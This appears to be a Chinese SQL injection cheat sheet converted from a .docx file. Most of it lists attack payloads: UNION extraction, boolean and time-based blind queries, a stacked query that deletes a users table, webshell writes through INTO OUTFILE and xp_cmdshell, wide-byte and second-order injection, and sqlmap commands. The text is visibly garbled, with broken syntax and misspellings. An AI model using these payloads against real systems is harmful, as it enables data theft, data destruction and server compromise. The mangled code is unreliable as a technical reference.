SQL注入原理.docx
SQL注入原理当客户端提交的数据未作处理或转义直接带入数据库,就造成了 sql注入。攻击者通过构造不同的sql语句来实现对数据库的任意操作。SQL注入的分类按变量类型分:数字型和字符型按HTTP提交方式分:POST注入、GET注入和Cookie注入按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入按数据库类型分:sql: oracleMySQL、 mssql、 access、 sqlite、 postgersqlnosql: mongodb,redisMySQL与MSSQL及ACCESS之间的区别1. MySQL5.0以下没有information schema这个默认数据库2. ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释举例:select 1,2,3 from table_ name union select 1,2,3 from table name3. MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)判断三种数据库的语句MySQL: and length(user()>10ACCESS: and (select count()from MSysAccessObjects)>0MSSQL: and (select count ()from sysobjects)>0基本手工注入流程1 .判断注入点数字型:id=2-l字符型:'、')、')、 ")、 ”)注释符:一(这是-空格)、-+、/*/、#这可能是最全的SQL注入总结,很有用2 ,获取字段数order by二分法联合查询字段数,观察页面变化从而确定字段数order by 1order by 50group by译为分组,注入时也可使用,不过我没用过3 .查看显示位尝试使用联合注入利用and 1=2或and 0及id=T2查看显示数据的位置替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)and 1=2 union select version(),2,3再查询所有数据库and 1=2 union select (select group_concat(schema_name)from informationschema, schemata),2,3查询所有表名unionselect(selectgroup_concat(table_name)frominformation_schema. tables) ,2,3查询所有字段名union select(select group_concat(column_name)frominformation_schema. columns),2,3查询字段内容布尔盲注我在盲注中常用的函数:1. charO 解 ASCII 码;2. mid()截取字符串;举例:mid( "hello, ,1,3),从第1位开始截取3位,输出位hel3. substr()与mid()相同,都为截取字符串;4. count。计算查询结果的行数;5. concat ()查询结果合并但保持原有行数;6. group_concat ()查询结果合并但都放在一行中;7. ascii () 查询 ascii 码;猜数据库长度(利用二分法);id=1 and (length(database()>1id=l and (length (database()>50猜第一个字符,第二个字符,以此类推and ascii(mid(database(),1,1)>1and ascii(mid(database(),2,1)>1查询当前数据库中所有表名;and (select count (table name)from information schema, tables wheretables schema=database()>land (select count (table name)frominformation_schema. tables where tables_schema=database 0) >10查询第一个翥的长度;and (select length (table name)from information schema. tables wheretables_schema=database()limit 0,1)>10查询表的第一个字符;and ascii(mid(select table_name from information_schema. tables wheretable_schema=database()limit 0,1),1,1)>1查询atelier表里有几个字段;and(select count (column_namc)from information_schemae columns wheretable_name = "atelier, and table_schema = database()>2查询露一个字段长度;and length (select column_name from information_schemae columns wheretable_name= "atelier" and table_schema= database()limit 0,1)>1查询段第一个字符;and ascii (mid(select column name from information schema, columns wheretable_schema =<db83231_asfaa, and TABLE_NAME = 'atelier' limit0,l),l,l)>105查询字段所有行数;and (select count (*) from db83231 asfaa. atelier)>4查询字段名的行数(查询emails表,uname字段);and (select count (uname) from security. emails) >7 查询 uname 的行数查询字段内容;length (select username from security.users limit0,1)>10ascii (mid(select username from security.user limit0,1),1,1)>100将查询到的ASCH码放到mysql中查询。延时盲注利用sleep(3)和if (1=2,1,0)及case进行延时注入,示例:select * from user where id= T or sleep(3) %23这个没什么好说的select * from user where id= 1 and if (length (version ()> 10, sleep (3) ,0);如果长度大于10,则睡3秒,其他则。秒select * from user where id= 1 and case length (version () >10 when 1 thensleep(3) else 0 end;case定义条件,when后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。多语句注入多语句意思就是可以执行多个语句,利用分号进行隔开示例:id=l"; WAITFOR DELAY '0:0:3' ; delete from users; -+id= 1' ; selectif(length(user(),1,1)>1, sleep(3), 1)%23' ;select if(length(selecttable name from information schema, tables where table schema=database()limit 0,l)»l»l)>l»sleep(3),1) %23内联注入举例:id=-l /!UNION/ /!SELECT/ 1,2,3利用别名:union select 1,2,3,4,a. id,b. id, * from(sys_admin as a inner join sys_adminas b on a. id=b. id)getshellid=-1' union select 1,2,(select '<?php eval ($ POST1);?>, intooutfile Vvar/www/html/404. php? ) 一+也可使用dumpfile进行写入。outfile 和 dumpfile 的区别:outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。数据库写入:exec master*xp_cmdshel1 'echo u<%eXECutegLobaL rEquEst(0)%>v >“c:wwwuploadFiles2019Tl404. asp” '宽字节注入当编码位gbk时,%df%27或81%27数据为空就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符'反斜杠,闭合之后页面恢复正常,存在宽字节注入这可能是最全的SQL注入总结,很有用测试出来就可以使用sqlmap跑了,23333加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)宽字节防御:这可能是最全的SQL注入总结,很有用第10行代码必须和第24行必须同时使用,要么就更换编码格式二次编码注入代码中有urldecode()函数%2527先解码成%27再解码成'单引号sqlmap-uhttp:/192.168. 100. 141/index. php/author=123 -prefix“2527” suffix "23”-prefix为设置前缀-suffix为设置后缀设置后缀,防止sqlmap使用内联注使用自带的脚本进行注入chardoubleencode. py图片上传sql注入猜结构,为时间戳加文件名二次注入abc'数据经过addslashes过滤,单引号前面添加反斜杠abc',但传到数据库的数据还是abc'假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问 xxx. php?username二test',页面返回 id=22;接下来再次发起请求XXX. php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。访问 xxx. php?id=test' union select l,user(),3%23,获得新的 id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。XFF头注入update user set loat_loginip = '8. 8. 8. 8' where id =1 and sleep(5) #'where username = 'zs';id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入;X-Forward-For: 127.0.0